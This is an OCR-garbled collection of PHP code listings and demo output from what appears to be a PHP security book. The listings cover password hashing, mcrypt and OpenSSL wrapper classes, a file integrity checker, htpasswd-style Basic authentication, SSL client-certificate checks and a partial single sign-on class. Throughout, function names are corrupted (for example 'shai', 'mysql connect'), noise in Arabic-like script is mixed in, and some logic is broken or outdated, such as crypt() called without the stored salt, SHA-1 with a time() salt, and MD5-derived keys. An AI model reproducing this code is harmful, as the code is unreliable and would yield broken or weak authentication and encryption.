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<?php

function makeDBConnection() {
$connection = mysql connect( 'localhost', 'username', ‘password' );
if ( !$connection ) exit( "can't connect!" );
if ( !mysql select db( 'users', $connection ) ) exit( "can't select database!" );

}

function dbSafe( $value ) {
return '"'

}

e,

. mysql real escape string( $value ) . '"';

T
/] deal with the new user's password
I T ]

// capture the new user's information, submitted from the login form
$usexName = $ POST[ 'userName'];
$userPassword = $ POST[ 'userPassword' |;

/] check that it meets our password criteria;
/] provide a message (and regenerate the login form) if it doesn't
$passwordProblem = array();
if ( strlen( $userPassword ) < 8 ) {
$passwordProblem[ ] = 'It must be at least eight characters long.';

}
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if ( !preg match( '/[A-Z]/', $userPassword ) {
$passwordProblem[] = 'It must contain at least one capital letter.';
1
if ( !preg match( '/[0-9]/', $userPassword ) {
$passwordProblem[] = 'It must contain at least one numeral.';
}
$passwordProblemCount = count( $passwordProblem );
if ( $passwordProblemCount ) {
echo '<p>Please provide an acceptable password.<br />';
for ( $1 = 0; $i < $passwordProblemCount; $i++ ) {
echo $passwordProblem[$i] . "<br />';

}

echo '</p>';

// generate form

7>

<form action="<? $ SERVER[ 'SCRIPT NAME'] ?>" method="post">
<p>

username: <input type="text" name="userName" size="32" /><br />
password: <input type="password" name="userPassword" size="16" /><br />
<input type="submit" name="submit" value="Login" />
</p>
N

</form>

<?

exit();

}

// it is acceptable, so hash it
$salt = time();
$hashedPassword = shai( $userPassword . $salt );

// store it in the database and redirect the user
makeDBConnection();
$query = "INSERT INTO LOGIN VALUES (' . dbSafe( $userName ) . ', ' .
dbSafe( $hashedPassword ) . ', ' . dbSafe( $salt ) . ')';
if ( !mysql query( $query ) ) exit( "couldn't add new record to database!" );
else header( 'Location: http://www.example.com/authenticated.php' );

// passwordHashingDemo.php continues
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// continues passwordHashingDemo.php

[T EE120111111111
// deal with the returning user's password
[ITTT11000010001001110111101101111111111

// capture the returning user's information, submitted from the login form
$userName = $ POST['userName'];
$userPassword = $ POST['userPassword'];

// retrieve the stored password and salt for this user
makeDBConnection();

$query = "SELECT * FROM LOGIN WHERE username=' . dbSafe( $userName );

$result = mysql query( $query );
f ( !$result ) exit( "$userName wasn't found in the database!" );
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$row = mysql fetch array( $result );

$storedPassword = $row[ 'password’];
$salt = $row['salt'];

// use the stored salt to hash the user's submitted password
$hashedPassword = shai( SuserPassword . $salt );

// compare the stored hash to the just-created hash
if ( $storedPassword != $hashedPassword ) {

exit( 'incorrect password!' );
} else {
header( 'Location: http://www.example.com/authenticated.php' );

}
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<?php

// specify which algorithm to use:
// aes, blowfish, or tripledes
$algorithm = 'aes’;

// create a new mcrypt object
include once( 'mcrypt.php' );
$mcrypt = new mcrypt( $algorithm );

// specify the encryption key
$secret = 'Lions, tigers and bears, oh my.';
$mcrypt->setKey( $secret );

// settings report

print "<p>The encryption algorithm is $mcrypt->algo,
which has a key size of $mcrypt->keysize bytes (" .
( $mcrypt->keysize * 8 ) . " bits).</p>";

// specify some text, and encrypt it

$text = 'The goat is in the red barn.';

$encrypted = $mcrypt->encrypt( $text );

print "<p>The plain text is:<br />$texi</p>";

print “"<p>The encrypted, base64-encoded text is:<br />$encrypted</p>";

// decrypt the encrypted text
$decrypted = $mcrypt->decrypt( $encrypted );
print "<p>The decrypted text is:<br />$decrypted</p>";
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Using aes
Keysize is 32 bytes (256 bits)
Initialization vector size is 32 bytes (256 bits)

The plain text is:
The goat is in the red bar.

And the encrypted text is:
WBCaK/HKIvUvbKIDAH3KO03UUYUO1Ptyghsw3Gkl4axV ApqvnoBIY gDKx5/PLhOoH
050n85XPxV70B1I+D/VVaA==

The decrypted text is:
The goat is in the red bam.

Done

) NS>
Lol gl sy b ccsl sy 5 & n‘u”%d'l“"sg}tj’CJ'l“"."('i)'L’JT:'-’u”%’)""LfJ‘:"”Ul?"
o Q

Q

g 55 L] S syl L a3l IS 45 03,5 oS0 51 3 6 oS e e bl

Q

@ s b O54es T cONStruct() sy, o

\%® LIS (go 3 5 sl i SEIKRY() 25, @
\%}% rla 8 Al ONCTYPL) 2, o
@ i )5 ply LS 5ey 0 RVIYPL) 25, @

s ob dges 350 destruct() zs, e

(03l g S 255 4 O5S]




B el | s o p ke (5o ptms GG pd sl CiiS 5 Sl LU, olueml 059 53 0y slie Sleds
<?php
class mcrypt {
private $mcrypt; // the resource for the object
public $algo; // the active encryption algorithm
private $iv; // the value of the initialization vector
private $key; // the key for the encryption
public $ivsize; // the size of the initialization vector
private $maxKeysize; // the ideal size of the key
public $keysize; // the actual size of the key in use é%?

public function _ construct( $algo="aes' ) {
// seed the random number generator
srand( (double) time() );

// algorithm must be one of aes, tripledes, or blowfish

switch ( $algo ) {

case 'aes':
$algorithm = MCRYPT RIINDAEL 256;
break;

case 'tripledes':
$algorithm = MCRYPT TRIPLEDES;
break;

case 'blowfish':
$algorithm = MCRYPT BLOWFISH;
break;

default:
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// disallow any other algorithm
exit( "Fatal error. This implementation does not support $algo.
Please use one of 'aes','tripledes', or 'blowfish'." );

}
$this->algo = $algorithm;

// get a new mcrypt resource
$this->mcrypt = mcrypt module open( $algorithm, '', MCRYPT MODE CBC, '' );

// determine size of initialization vector
$this->ivsize = mcrypt enc_get iv size( $this->mcrypt );

// determine key length
$this->maxKeysize = mcrypt enc get key size( $this->mcrypt );

// end of construct() method
}

// mcrypt class continues
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// continues mcrypt class

public function setKey( $secret ) {
// initialize key
$key = NULL;

// determine number of 32-character key blocks we need to use
$keyblocks = ceil( ( $this->maxKeysize * 2 ) / 32 );

// for each keyblock, generate a different md5 digest and append to key
for ( $ix = 0; $ix < $keyblocks; $ix++ ) {

$key .= md5( $ix . $secret );
}

// then pack the hexadecimal key to binary (2:1 ratio)
$key = pack( 'H*', $key );

// cut key to proper length
$this->key = substr( $key, 0, $this->maxKeysize );
$this->keysize = strlen( $this->key );

}

// mycrypt class continues
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// continues mcrypt class

public function encrypt( $data ) {
// generate a new initialization vector
$this->iv = mcrypt_create_iv( $this->ivsize, MCRYPT_RAND );

// init
if (mcrypt generic_init( $this->mcrypt, $this->key, $this->iv ) === -1) {

$this->  destruct();
exit( 'Fatal error, could not initialize encryption routine.' );

t

// encrypt
$ciphertext = mcrypt generic( $this->mcrypt, $data );

// deinit
mcrypt _generic_deinit( $this->mcrypt );

// prepend initialization vector
$out = $this->iv.$ciphertext;

// encode encrypted value as basef4
// split into 64 character lines for transmission
$out = chunk split( base64 encode( $out ), 64 );

return $out;

}

// mycrypt class continues
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// continues mcrypt class

public function decrypt( $data ) {
// expect baseb4
$input = baseb4 decode( $data );

// leam initialization vector from $input
$this->iv = substr( $input, 0, $this->ivsize );
$ciphertext = substr( $input, $this->ivsize );

// init
if ( mcrypt_generic_init( $this->mcrypt, $this->key, $this->iv ) == -1) {

$this->  destruct();
exit( 'Fatal error, could not initialize encryption routine.' );

}

// decrypt
$out = mdecrypt generic( $this->mcrypt, $ciphertext );

// deinit
mcrypt_generic_deinit( $this->mcrypt );

// return decrypted data
return $out;

}

// mycrypt class continues
\,
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// continues mcrypt class

public function  destruct() {
// write over key in memory
$this->key = str repeat( 'X', strlen( $this->key ) );

// free the mcrypt resource
mcrypt module close( $this->mcrypt );

}

// end of mcrypt class
}
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<?php

// create a new openSSL object
include_once( ‘'openSSL.php' );
$openSSL = new openSSL;

// generate a keypair
$passphrase = 'This is a passphrase of reasonable length.';

// a "Distinguished Name" is required for the public key
$distinguishedName = array(
"countryName" => "US",
"stateOrProvinceName" => "New York",
"localityName" => "New York City",
"organizationName" => "example.net",
"organizationalUnitName" => "Pro PHP Security”,
"commonName" => "pps.example.net"”,
"emailAddress" => "csnyder@example.net"
)
$openSSL->makeKeys( $distinguishedName, $passphrase );
$private = $openSSL->privateKey();
$public = $openSSL->certificate();
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print "<h3>Key and Certificate Generation</h3>";

print "<p>Your certificate belongs to:<br />" . w»
$openSSL->getCommonName() . "</p>";

print "<p>Distinguished Name:<br /><pre>" . w»
print_r($openSSL->getDN(),1) . "</pre></p>";

print "<p>Your private key is:<br /><pre>$private</pre></p>";

print "<p>Your public key is:<br /><pre>$public</pre></p>";

print "<p>Your certificate is signed by:<br />" . =
$openSSL->getCACommonName () . "</p>";

print "<p>CA Distinguished Name:<br /><pre>" .ws
print_r($openSSL->getCA(),1) . "</pre></p>";

print "<hr />";

// encrypt some text using the public key

N7
$text = "The goat is in the red barn.”;
fencrypted = $openSs5L-zencrypt( $text );
print “"<h3i:Ecncryption</h3z>";
print "<p>Plain text was:<br /f>$text</p>";
print "<p>And encrypted text is:<br Sr<presz$encrypted</prex</p:x";

£ decrypt it using the private key
$decrypted = %openssl-»decrypt( $encrypted, $passphrase );
print "<pzDecrypted with Private Key:<br />$decrypted</p>";

/4 sign some message using the private key

$message = "So0 long, and thanks for all the +ish.";

$signed = jopenS5l-xsign( $message, $passphrase );

print “<h3>5igning</h3>";

print “<p:5igned using Private Key:<br /><pre:x$signed</pre></p:";

£ verity signature

$verified = $openSsL->verify( $signed );

print "<p:Verifying signature using Certificate:<br /»";
if ( $verified ) {

print " ...passed ($verified).</p>";
¥
else {
print " ...failed.</p>";
F
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Key and Certificate Generation

Your certificate belongs to:
pps.aotearoa.local

Distinguished Name:

Array
(
[C] => US
[ST] => New York
[L] => New York City
[0) => aotearoca.local
[OU] => Pro PHP Security
[CN] => pps.aotearoa.local
[emailAddress] => csnyderf@aotearoca.local
)

Your private key is:

Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,BFOF405B9D70C316

CT/F90bf3kigYaldgmLM3fk5tUsAnUseUWFQv4kiE6uHGGEdGIxcjuj+k2HbTEVL
ysQjVscvopQCGX6tiTxBaskepyLeRcilDfywdruw2Xo4vddABBFm2noWbhiFLxboU
OMbAMONNOlaYK3scMTBTB+6sm50mgHSB1DeCcwlUOV+2apKKrQ12124E256Bi34zc
VQEAXLWEshcOYVALIXWALDYws tEnMKAmMC+2+1Zs8GyVhzSVs£J9D0TkSeFRARNG5dC
8MpJsL2frZogVPfIxxcbeFlEdm2D+pnIlS/x0pgI1RIaihRhON4VvdRisanljH7A

3vETZQtDUi126g8sRn85hebQz2ZBkVwaymPCiCkIcwi6HEpe5gAIFmnoMiyCHPAdIm e
qi/QFRallPQPx4tzQ0dFx6FGFTkYJSVDg24aB5if+Fi+k20gCyyBF7£J1g6eadMw -
82f52sMJyCX7FPyqEwf0mkj00On/XTAIiSmu3PcLeee0buQNJzKBluln8Ebgzks891 y
Done /4
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Key and Certificate Generation

Key and Certificate Generation

Your certificate belongs to:

pps.example.net g%‘%?
Q

Distinguished Name:

\2

Array
(
[C] => US
[ST] => New York
[L] => New York City
[0] => example.net
[OU] => Pro PHP Security
[CN] => pps.example.net
[emailAddress] => csnyder@example.net

N4
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Your private key is:

Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,BD26D16F17FCC900

7aKW+3bITgreczLYLkoP8KLpXiZauyRXOekLAypjpaRInWDfjsEqhqgGOLvZFf/P
nn/4NwKY18m1 jc2spkibwuyK1ASMD7NAwcpIRIrrnithdTW5259/2Ys0GOf7/1Sq
7X7t7piw6ile44R4NLOkXUOEQUGAB7 TTY2zNP1ORBdZeiHsEanqdlqITGyWfKk jvn
Ev7nVtoXVtoqGQaBf/aDpVONAm3vEI9kObugZq4z9WeTOm8I3Wsjka37ELFH6CLp t%?
grh1grl 08IxbMTSt3elzCIRSYNBsk20Q3t2zvsvH3HOzMBHxdm9ixUF 6jEwbo8aey )
40ialcfoKnZ01IFvA6sMjXHUMYL] jkw3aN/wkMEGoGuO jdVbb2eteBIPR1CKVXRR )
MO1jut79DLZR4UDYynGSNANE pBM1XObi1Z fM7iR890mK4BXgBrP5an0kduKUZDI+s
ITthI6JRHfb51UYeMintdEws+1+BbON/F jXs41hPUAJ31ddJojcdboaXoHb5V071
rS4hgldhKt6v1GQy TP8I4v06FM2CIv491YOEiKHUPOYFBUqHYMRY 28 TFTAMSSWQT
V86kUQhegWIpyvgS53upl6S3HIMesvpINYjVvgnyIFzFLSUS4Y0+rxSOMSNVB2Q7
4AWhFQJOLxi+tZCj4FsdjsnY1P6eYvt4rqwvI0ZZda/+SY4YFxi22nRF6fCTXhVRy
G3gRhDAIOhigXedB29gHM1uuKwH60g4uX10SxUprObnk Ftv8hfVuISvog+3+ue+c
oh0Z10zeotZvFAT38eqQE4rzi2vKA1eCHDA4UoUswe 11w9YH+DHVtg ==
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EgYDVOOKEwt 1eGFtcGx1Lm51dDEZMBCcGAIUECXMQUHIVIFBIUCBTZWNIcmloeTEY
MBYGA1UEAXMP cHBz LmV4YW1wbGUubmVOMSIWIAYIKoZIhveNAQkBFhNjc255ZGVy
0GV4YW1wbGUubmVOMB4XDTAIMDYXODE 5MjExN10oXDTA2MDYxODESMj ExN1owgacx
CzAJBgNVBAYTALVTMR EwDwYDVQQI EwhOZXcgWW9yaz ENMBQGAIUEBXMNTmV3IF 1v

cmsg0210e TEUMBIGALUEChMLZXhhbXBsZS5uZXQxGTAXBgNVBASTEFBybyBOSFAg

U2VjdXJpdHk xGDAWBENVBAMTD3Bwcy 51eGF tcGx1Lm51dDE iMCAGCSqGSIb3DOE]D
ARYTY3NueWR1ckBleGFtcCx1Lm51dDCBnzANBgkqhk iGOwOBAQEFAADB jOAwgYkC é%?
gYEA6RYOZ 1Mbh+g+JiVH70ZRMH4t PQukF1iV54d2ecmcUI80+P LpOFIQF 7GR fBu °
PVUWTOOdIDmc jM+7aiAEINuU9bINdtbVZO1fwTiYw8f/q2Thj4IIwPQviyKd709]
8NG7A8IvhCsGSFHFJ+U2eDFPscroEu2qk 7g7TpGX InkMwg8 CAWEAATANBgkghk iG
9wOBAQUFAAOBgQCDoTd fLdODwuICu4 TbghAtDsOxilLAiJT+yqYrRijxFd8vbjFQF
22J]TojoweAFyJsnKG2LVIMSZVRr136a+qU+WhSPgTOs /uh jmzT6+WmsI7n9e+fq
71Bm5R50Sr7LKKOAP4mfe0BcTu3Ze7bXv12bGjkXid+vQSF20S/yyvs5wQ==

v

Your certificate is signed by:
pps.example.net

CA Distinguished Name:
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Array

[C] => US

[ST] => New York

[L] => New York City

[0] => example.net

[0U] => Pre PHP Security

[CN] => pps.example.net
[emailAddress] => csnyder@example.net

)

Encryption

Plain text was:
The goat is in the red bam.

And encrypted text is:
ipeFbafPzMv/r/0ihK2vMB3InUer0/YfgIVIh211GLFQaY7gialeGOgAP7PijEdU
57EaDDrMD8v2fkGasSsYqv2doNaDr5dq/Ng901iRiXMqGihuziJLIORNZ6Cc1kVhNh
3duJWEVXZCAIMYpgvUpbCVjurCRBuhFInaks8ZR11cU=

Decrypted with Private Key:
The goat is in the red bam.

Signing

Signed using Private Key:
7

So long, and thanks for all the fish.
————— BEGIN openSSL.php SINATURE-----
1ESA9PjvXCOtdATOkgCCFPC2rz/y+yWh/0iD9pthmeB1cIWAITGGYhv39XmYsYK
5ZmPGWZ7c9SKWRKFKF60N0FwWFUK3 jGA4ZTcS8Fu3ly/VwCVZWpWVq2POVBbzAF SD
hEGgxvwZcXPXQaDflcSkjEFcn7ZmKi0o/R7Y0dtQUOO=
----- END openSSL.php SIGNATURE-----

Verifying signature using Certificate:
...passed (So long, and thanks for all the fish.).
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<?php

class openSSL {
private $certificate;
private $privatekey;
private $dn = array();
private $x509 = array();
private $sigheader = "\n----- BEGIN openSSL.php SIGNATURE----- \n";
private $sigfooter = "----- END openSSL.php SIGNATURE----- \n";

// constructor
public function  construct() {
// no constructor is needed here

}

// make new keys and load them into $this->certificate and $this->privatekey
// certificate will be self-signed
public function makeKeys ( $distinguishedName, $passphrase = NULL ) {
// keep track of the distinguished name
$this->dn = $distinguishedName;
)
// generate the pem-encoded private key
$config = array( 'digest alg'=>'sha1',
'private key bits'=>1024,
"encrypt key'=>TRUE,
)
$key = openssl pkey new( $config );

ov
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// generate the certificate signing request...
$csr = openssl csr new( $this->dn, $key, $config );

// and use it to make a self-signed certificate
$cert = openssl csr sign( $csr, NULL, $key, 365, $config, time() );

// export private and public keys
openssl pkey export( $key, $this->privatekey, $passphrase, $config );
openssl x509 export( $cert, $this->certificate );

// parse certificate
$this->x509 = openssl x509 parse( $cert );

return TRUE;

// end of makeKeys() method
}
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Array
(

[C] = AU

[ST] => Some-State

[0] => Internet Widgits Pty Ltd
)
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)
// continues openSSL class

// gets (or sets) $this->privatekey
public function privateKey() {
$out = $this->privatekey;
if ( func_num_args() > 0 && func_get arg(0) ) {
$this->privatekey = func_get arg(0);
}

return $out;

// end of privateKey() method
¥

// gets (or sets) $this->certificate (the public key)
public function certificate() {
$out = $this->certificate;
if ( func_num_args() > 0 && func_get arg(0) ) {
$this->certificate = func_get arg(0);

// create openssl certificate resource
$cert = openssl get publickey( $this->certificate );

‘;ﬁzrﬁm



H
gk yc/bin;l Cis
(e bl g gt e fa b

|‘5§;\-.c o e ‘_;UAW ‘5‘.5‘5ﬁ.3.;wi rRLY 9 JL«AJL& ‘5LAJ\SJ.:: ‘55""0“‘ 0y 43 eJ‘gL&A Sleds

// parse certificate
$this->x509 = openssl x509 parse( $cert );

// free the cert resource
openssl free key( $cert );

ieturn $out;
// end of certificate() method
| 3
// openSSL class continues “%%
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// continues openSSL class

// uses this->certificate to encrypt using rsa
// input is limited to 56 chars (448 bits)
public function encrypt ( $string ) {
if ( empty( $this->certificate ) ) {
exit( 'Cannot encrypt, no active certificate.' );

}
if ( strlen( $string ) > 56 ) {
exit( 'Cannot encrypt, input too long.' ); ég)
}
// create openssl certificate resource

$cert = openssl get publickey( $this->certificate );

// encrypt
openssl public_encrypt ( $string, $out, $cert );

// free the cert resource
openssl free key( $cert );

// encode the encrypted text for transport
$out = chunk split( base64 encode( $out ), 64 );

Y
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return $out;

// end of encrypt() method
¥

// uses $this->privatekey to decrypt using RSA

public function decrypt ( $string, $passphrase = NULL ) {
f ( empty( $this->privatekey ) ) {
exit( 'Cannot decrypt, no active private key.' );

}

// decodes encrypted text from transport
$string = baseb4 decode( $string );

// create openssl pkey resource
$key = openssl get privatekey( $this->privatekey, $passphrase );

// decxrypt
openssl private_decrypt( $string, $out, $key );

// make openssl forget the key
openssl free key( $key );

return $out;

// end of decrypt() method
}

// openSSL class continues
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// continues openSSL class

// uses private key to sign a string
public function sign ( $string, $passphrase = NULL ) {
if ( empty( $this->privatekey ) ) {
exit( 'Cannot decrypt, no active private key.' );

}

// create openssl pkey resource
$key = openssl get privatekey( $this->privatekey, $passphrase );

// find the signature
$signature = NULL;
openssl sign( $string, $signature, $key );

// make openssl forget the key
openssl free key( $key );

// baseb4 encode signature for easy transport
$signature = chunk split( base64 encode( $signature ), 64 );

// finish signing string
$signedString = $string . $this->sigheader . $signature . $this->sigfooter;

// return signed string
return $signedString;
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// end of sign() method
}

// uses key to verify a signature using this->certificate
public function verify ( $signedString ) {
if ( empty( $this->privatekey ) ) {
exit( 'Cannot verify, no active certificate.' );

}
// split the signature from the string é%?
$sigpos = strpos( $signedString, $this->sigheader ); °
if ( $sigpos === FALSE ) { §55>
// failed, no signature!
return FALSE; QEE
}_ b

N
$signature = substr( $signedString, ( $sigpos +
strlen( $this->sigheader ) ), ( 0 - strlen( $this->sigfooter ) )

$string = substr( $signedString, 0, $sigpos );

// baseb4 decode the signature...
$signature = base64_decode( $signature );

// create openssl certificate resource
$cert = openssl get publickey( $this->certificate );

// verify the signature
$success = openssl verify( $string, $signature, $cert );

// free the key resource
openssl free key( $cert );

// pass or fail
if ( $success ) {
return $string;

t
return FALSE;

// end of verify() method
t

// openSSL class continues
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// continues openSSL class

// find common name of entity represented by this->certificate
public function getCommonName() {
if ( isset( $this->x509['subject']J['CN'] ) ) {
return $this->x509[ 'subject']['CN'];

}
return NULL;

// end of getCommonName() method
'

// get all details of the entity represented by this->certificate
// aka, the Distinguished Name
public function getDN() {
if ( isset( $this->x509['subject'] ) ) {
return $this->x509[ 'subject'];
}
return NULL;

// end of getDN() method
}

// find common name of the issuer of this->certificate
public function getCACommonName() {
if ( isset( $this->x509[ 'issuer'J['CN'] ) ) {
return $this->x509[ 'issuer']['CN']
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}
return NULL;

// end of getCACommonName() method
}

// get all details of the the issuer of this->certificate
// aka, the Certificate Authority
public function getCA() {
if ( isset( $this->x509['issuer'] ) ) {
return $this->x509[ 'issuer']; %

o

}
return NULL;

// end of getCA() method

}
// end of openSSL class
}
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#1/usr/local/bin/php
<?php

// simple file class to track detailed file metrics including hash and stats
class fileData {

public $path; // path of file
public $lastSeen; // time when stats were generated
public $stats; // selected output of stat() call on path

public $combinedHash; // combined md5 hash of content and stats

// load stats and compute hashes for the file at $path
public function load( $path ) {
$this->path = $path;
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if ( is_readable( $path ) ) {
// compute contentHash from file's contents
$contentHash = mds_file( $this->path );

// get all file statistics, see http://php.net/stat
// slice off numeric indexes, leaving associative only
$this->stats = array slice( stat( $this->path ), 13 );

// ignore atime (changes with every read), rdev, and blksize (irrelevant)
unset( $this->stats['atime'] );

unset( $this->stats['rdev'] );

unset( $this->stats['blksize'] );

// compute mdS hash of serialized stats array
$statsHash = mds( serialize( $this->stats ) );

// build combinedHash
$this->combinedHash = $contentHash . $statsHash;

X
// timestamp
$this->lastSeen = time();

// end of fileData->load()
}

// end of fileData class
}

// integrity.php continues
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//continues integrity.php

// initial values
$found = array();

$known = FALSE; % %?
Q
N

// get path or print usage information
if ( lempty( $argv[1] ) ) {
$path = $argv[1];
}
else {
// create a usage reminder
exit( "Missing path.
Usage: $argv[o] <path> [<index file>]

Outputs or checks the integrity of files in <path>.
If an <index file> is provided, it is used to check the
integrity of the specified files.
If not, a new index is generated and written to std-out.
The index is a serialized PHP array, with one entry per file.\r\n\r\n" );

}

// if existing index is provided, load it into $known
if ( lempty( $argv[2] ) ) {
$index = file get contents( $argv[2] );
$knoq2\j>unserialize( $index );
X
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if ( empty( $known ) ) {
exit( "Unable to load values in $argv[2].\r\n" );

}

else {
print "Loaded index $argv[2] (".count( $known )." entries)\r\n";

}
}

// if path is not readable, exit
if ( !is readable( $path ) ) exit( "Unable to read $path\r\n" );

// integrity.php continues
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//continues integrity.php

// if path is a directory, find all contents
if ( is_dir( $path ) ) {
$dir = dir( $path );
while ( $entry = $dir->read() ) {
// skip .dotfiles
if ( substr( $entry, 0, 1 ) == '." ) continue;

// skip directories -- recursive indexing not implemented é%?
if ( is dir( $path . '/' . $entry ) ) continue;

// create a new fileData object for each entry
$file = new fileData;
$file->load( $path . '/' . Sentry );

// if readable, assign to $found array

if ( 'empty( $file->combinedHash ) ) {
$found[ $file->path ] = $file;

}

// end while directory entry

}

}
// otherwise handle just the single file

else {
$file = new fileData;
$file->load( $path );
if ( lempty( $file->combinedHash ) ) {
$found[ $file->path ] = $file;
}
}

m=r

// integrity.php continues
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//continues integrity.php

// initialize counters

$foundFiles = count( $found );
$changedFiles = 0;
$otherFiles = 0;

// if checking integrity, compare $found files to $known files

if ( lempty( Sknown ) ) { %%

// for each found...
foreach( $found AS $fpath=>$file ) { :§£>

o

// find matching record %;L
if ( isset( $known[ $fpath ] ) ) {

$knownFile = $known| $fpath |;
}

else {
print "NEW file at $fpath.\n";
$otherFiles++;
continue;

}

/! check hashes
if ( $file->combinedHash != $knownFile->combinedHash ) {

// something changed!
N\ OV
$changedFiles++;

// check content first
$knownContentHash = substr( $knownFile->combinedHash, 0, 32 );
$contentHash = mds file( $fpath );
if ( $contentHash != $knownContentHash ) {
print "CONTENTS changed at $fpath.\r\n";
continue;

}

// content same so stats changed... which ones?
$changed = NULL;
foreach( $knownFile->stats AS $key=>$knownValue ) {
if ( $file->stats[ Skey ] != $knownValue ) {
$changed .= "S$key changed from $knownValue to " . $file->stats| Skey | .w
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// strip off the last space and comma
$changed = substr( $changed, 0, -2 );

print "OTHER CHANGE at $fpath: $changed.\r\n";
continue;

// nothing changed
print "$fpath ok.\r\n";

// end foreach found

}

// now report on unlinked files
foreach( $known AS $kpath=>$file ) {
if ( empty( $found[ $kpath ] ) ) {
print "MISSING file at $kpath.\r\n";
$otherFiles++;
}
}

// summary report
print "$changedFiles changed, $otherFiles new or deleted";
print " in $foundFiles files at $path.\r\n";

}

else {
NN 7/ B
// not checking integrity, print index

print serialize( $found )."\r\n";

}

?>
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# passwords.txt, last revised 2005-06-30

chris:12345678
mike: 87654321
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<?php

// you have filled out and submitted the form
if ( lempty( $_POST['in'] ) ) {
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// load submitted username:password list into array
$inContents = $ POST['in'];
$inList = explode( "\n", $inContents );

// set up output
header( 'Content-Type: text/plain' );
$output = NULL;

// for each submitted line...
foreach ( $inList as $line ) {

$line = trim( $line );

// keep empty lines and comments, but don't process them

if ( empty( $line ) || substr( $line, 0, 1 ) === "#' ) {
$output .= "$line\r\n";
continue;

}

// split into name and password
list( $name, $passwd ) = explode( ':', $line );

// use crypt() to encrypt the password
$passwd = crypt( $passwd );

// add username:encrypted password pair to output
$output .= "$name: $passwd\r\n";
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// display password file output for subsequent saving
exit( $output );
}

// form is presented first time through
I

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.0rg/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.0rg/1999/xhtml" xml:lang="en">
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<title>htpasswd.php</title>
</head>

N\
<body onload="document.getElementById("'in").focus()" >
<form action="<?= $ SERVER['SCRIPT NAME'] ?>" method="post" >
<p>Paste passwords.txt below, one username:password pair per line.</p>
<textarea name="in" id="in" rows="8" cols="40"></textarea><br />
<input type="submit" value="create passwords.crypt" />
</form>
</body>
</html>
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<?php
// this script must be included in another rather than run by itself

// force headers
$auth = FALSE;

// user has entered something
if ( isset( $_SERVER['PHP_AUTH USER'] ) &
isset( $_SERVER['PHP_AUTH PW'] ) ) {

// get stored usernames and passwords from above the docroot
$userlist = file( '../passwords.crypt' );

// extract each username and password
foreach ( $userlist as $line ) {
$line = trim( $line );

-G
// skip empty lines and comments
if ( empty( $line ) || substr( $line, 0, 1 ) === '#" ) {
continue;

}
list( $targetUserName, $targetPassword ) = explode{ ":", $line );

// compare submission to stored value
if ($targetUserName === $ SERVER['PHP_AUTH USER']) {
$submittedPassword = crypt( $ SERVER[ 'PHP_AUTH PW'] );
// does the user's password match?
if ( $targetPassword === $submittedPassword ) {
$auth = TRUE;
break;
}
}
}
}
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// first time through, or user entered wrong data
if ($auth === FALSE) {
header( 'WWW-Authenticate: Basic realm="Protected Website"');
header('HTTP/1.0 401 Unauthorized');
echo 'You are not authorized! Goodbye!"';
exit;
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<?php

// include the authentication routine from the parent directory
require 'authenticate.php’;

// return to here only if user passes the authentication routine
// this message is for demonstration purposes only
echo 'You have been authorized!’;

// go on to the application
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<?php
// disallow by default...
$allow = FALSE;

$reason = "";

// require SSL
if ( !isset( $ SERVER['HTTPS'] ) ) {
$reason = "You must use an SSL connection for this request.";

}

// if SSL and there is a Client Certificate,
/! require Certificate it to be verified
elseif ( isset( $ SERVER['SSL CLIENT VERIFY'] ) &&AND

$ SERVER[ 'SSL_CLIENT VERIFY'] === 'FAILED:(null)' ) {
$reason = "The server could not verify your Client Certificate.";
}
else {
$allow = TRUE;
}

if ( !$allow ) {
header( 'HTTP/1.1 403 Forbidden' );
2>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
“http://www.w3.0rg/TR/xhtm11/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.0rg/1999/xhtml" xml:lang="en">
<head>

N\ OV
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<title>Connection Not Secure</title>
</head>
<body>
<h1>Connection Not Secure</h1>
<p><?= $reason ?></p>
</body>
</html>
<?
exit();
}

// connection secure, continue with script
7>
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SSL_CLIENT_VERIFY FAILED:{null)

SSL_CLIEENT M_VERSION |1

SSL_CLIENT M_SERIAL 42BDASBF
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SSL CLIENT V_END Jun 25 18:43:15 2006 GNT
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SSL_CLIENT_A_KEY rsaEncryption .

SSL_CLIENT A_SIG md5WithRSAEncryption :
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<?php

// requires openSSL and mcrypt classes from Chapter 6
require_once( 'openSSL.php' );

require_once( 'mcrypt.php' ); %%

class singleSignOn {
// certificate/key directory

private $certDir = '.’;

// contents of local certificate
public $certificate;

// contents of local key
private $privatekey;

// stub for openSSL object
protected $openSSL;

// constructor

// initializes local openSSL object

public function _ construct( $cert, $key ) {
$this->certificate = $cert;
$this->privatekey = $key;
// throw error on bad key or cert?

$this->openSSL = new openSSL();

$this->openSSL->privatekey( $key );

$this->openSSL->certificate( $cert );
}

// class singleSignOn continues
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// continues class singleSignOn
// nonce() retums a relatively random number
public function nonce() {
$nonce = shai( uniqid( rand(), TRUE ) );
return $nonce;
t // end of nonce() method

// makeRequest() sends a command to a remote server via HTTP 401 redirect
// $command is the command to encode
// $to is the url to send the command to
// $retum is the return address for the response
public function makeRequest( $command, $to, $return,
$keyPassphrase = NULL ) {
// generate a one-time value to randomize request
$randomizer = $this->nonce();

// encode the request using the remote certificate
$request = "$command: :$return: :$randomizer”;
$remoteCertificate = $this->getCertificate( $to );
$encodedMessage = $this->encodeMessage( $request,
$remoteCertificate, $keyPassphrase );

// build full remote url with encoded message as GET var
$remoteURI = $to . '?sso=" . rawurlencode( $encodedMessage );

// redirect to secure server with message as $ _GET['sso']
$this->redirect( $remoteURI );
} // end of makeRequest() method
// class singleSignOn continues
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// continues class singleSignOn
// discoverRequest() a command and return address sent by makeRequest()
// $from is the URI to use for the sender; defaults to the referring page
// returns associative array with command (command) and return address (return)
public function discoverRequest( $from = FALSE,
$keyPassphrase = NULL ) {

// find the message

if ( empty( $_GET['sso'] ) ) return FALSE;

$encodedMessage = $ GET['sso'];

// discover from
if ( !$from ) {
$from = § SERVER[ "HTTP_REFERER']; //sic

}

// decode the message

$remoteCertificate = $this->getCertificate( $from );

